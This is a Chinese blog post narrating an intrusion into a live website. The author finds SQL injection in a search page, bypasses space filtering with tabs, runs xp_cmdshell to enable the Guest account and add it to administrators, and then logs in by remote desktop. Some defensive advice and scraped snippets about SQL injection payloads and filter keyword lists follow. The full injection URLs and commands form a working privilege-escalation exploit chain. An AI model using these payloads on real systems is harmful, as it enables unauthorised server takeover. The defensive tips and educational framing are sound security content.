此漏洞已帮其修复,并知会当事人
SQL 注入漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。
无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。
发现
访问某站点的搜索页面,发现输入单引号“'”就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。
发现访问
http://foo/rss.aspx?keyword=lucky
以及
http://foo/rss.aspx?keyword=lucky'));--
都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。
分析
根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句
http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--
发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身
扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。
此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求
http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--
并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。
提权
解禁 Guest 用户
http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--
相当于服务器执行
net user guest /active:yes
再将 Guest 加入到管理员组
http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--
相当于服务器执行
net localgroup administrators guest /add
上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名“guest”密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。
重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。
后记
正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议
- 代码要对输入的参数做到充分的过滤,并尽可能得考虑极端情况
- 错误信息尽可能的少,否则无关的人看不懂而有心的人就会提起兴趣
- 不要以管理员的身份运行服务器进程
- 某些情况下,net 命令对于攻击者而言就是“微软牌”的木马
- 严格控制远程登录访问者的来源
- 如果可能的情况下,不是很推荐使用 Windows 作为服务器操作系统
-- EOF --
分享到:
相关推荐
- **缓冲区溢出**:虽然不是典型的SQL注入,但在某些情况下,过长的输入可能导致缓冲区溢出,进而触发SQL注入。 #### 防范SQL注入的策略 - **绑定变量**:使用预编译的语句和绑定变量可以防止SQL注入,因为它们将...
在描述中,“union select * from 表名字典 union select 列名字典 from 表名”是一个典型的SQL注入攻击语句。这个语句利用了`UNION`操作符来合并两个或更多`SELECT`语句的结果集。通常,攻击者会尝试不同的表名和...
通过上述分析可以看出,PHP168中的SQL注入漏洞是一个典型的Web应用安全问题,其背后反映了开发者对于用户输入验证不足的问题。为了防止类似漏洞的发生,开发人员应该加强输入验证和过滤机制的设计,同时定期进行安全...
以下是一个典型的SQL注入攻击示例,展示了如何利用构造特定的输入来实现SQL注入: 假设存在以下SQL语句: ```sql SELECT * FROM users WHERE username = '$username' AND password = '$password'; ``` 若攻击者将`...
这是一个典型的 SQL 注入过滤函数,用于检测传入字符串是否包含可能引起 SQL 注入的关键词。该函数定义如下: ```csharp public static bool SqlFilter2(string InText) { string word = "and|exec|insert|select|...
3. **熟悉典型SQL注入攻击工具的使用**:了解并实践使用如SQLMap等专业工具来进行SQL注入测试,提高攻击效率。 #### 实验环境配置 - **操作系统**:Windows 2000或XP - **应用平台**:动网论坛6.0版本 #### SQL...
### SQL注入攻击与防御知识点详解 #### 一、SQL注入攻击概述 **SQL注入(SQL Injection)**是一种常见的网络攻击方式之一,攻击者通过在Web应用程序的输入字段中插入恶意SQL语句,以此来控制数据库服务器执行非...
一个典型的SQL注入点通常存在于用户能够输入数据的Web表单或URL参数中,比如登录表单的用户名和密码输入框,或是任何其他接收用户输入数据的地方。攻击者可以利用这些输入点构造包含SQL代码的输入,试图篡改原有的...
3. **示例**:一个典型的SQL注入漏洞可能出现在这样的代码中: ```jsp String username = request.getParameter("username"); String query = "SELECT * FROM users WHERE username='" + username + "'"; ``` ...
- **缓冲区溢出**:虽然不是典型的SQL注入,但攻击者可能会利用数据库或应用程序中的缓冲区溢出漏洞,以执行任意代码。 5、防范措施 - **参数化查询/预编译语句**:使用绑定变量可以防止SQL注入,因为它们将用户...
### SQL注入概述 SQL注入(SQL Injection)是一种常见的网络安全攻击方式,主要针对使用结构化查询语言(Structured Query Language,简称SQL)的数据库管理系统。通过在Web应用或其他软件系统的输入框中插入恶意...
一个典型的SQL注入攻击示例是,在登录表单中,合法用户输入用户名和密码。如果攻击者在用户名字段中输入“admin’ --”,并成功骗过验证,那么他可能绕过登录过程,获取管理员权限。这是因为SQL的WHERE条件可能变成...
利用SQL注入写入ASP木马文件,是一种典型的攻击手段,其中`^`作为转义字符用于编写木马脚本。攻击者通过构造特殊的URL请求,可以远程执行命令,如创建包含恶意代码的ASP文件,实现对目标系统的进一步控制。 #### 2....
2017年的Equifax数据泄露就是一个典型的SQL注入案例,攻击者利用Apache Struts框架的一个漏洞,成功注入恶意SQL,获取了大量个人敏感信息。 7. **相关技术**: 除了SQL注入,还有其他类型的注入攻击,如LDAP注入...
3. 使用安全的编程实践,如参数化查询和存储过程,以减少SQL注入的风险。 4. 对Web应用进行定期的安全审计和漏洞扫描,确保潜在的安全风险被及时发现和修补。 5. 对开发人员进行安全意识培训,加强安全编码技能,...
一个典型的SQL注入攻击案例是,攻击者通过在Web表单输入恶意构造的数据,绕过登录验证,获取管理员权限。例如,如果Web程序中存在SQL注入漏洞,攻击者可以提交特定构造的用户名和密码(例如,username为'admin' OR '...
例如,一个典型的SQL注入攻击可能会利用应用程序在处理用户输入时未能正确转义的单引号('),将恶意构造的SQL片段嵌入原本的SQL语句中,从而改变其原本执行的操作。 目前SQL注入攻击的特点主要表现在攻击方式多样...
在本文件中,我们可以通过分析典型攻击过程的剖析,了解到攻击者是如何利用网站的漏洞进行SQL注入的。首先,攻击者会向网站的动态页面发送一个带有额外单引号的请求,例如改变id参数值为id=6’。这样做通常会导致SQL...
攻击者利用SQL注入漏洞的方式多种多样,可以分为以下几种典型的方法: 1. 获得数据库连接用户名和数据库名:攻击者通过特定的SQL查询语句获取当前数据库的用户名和数据库名,以进一步分析和发起更深层的攻击。 2. ...
SQL注入攻击的一个典型例子是登录界面的攻击模拟。假设一个登录系统的.NET代码存在SQL注入漏洞,攻击者可以利用特定的输入(如"or1=1"),绕过身份验证。这是因为输入的条件语句形成了一个逻辑上永远为真的表达式(1...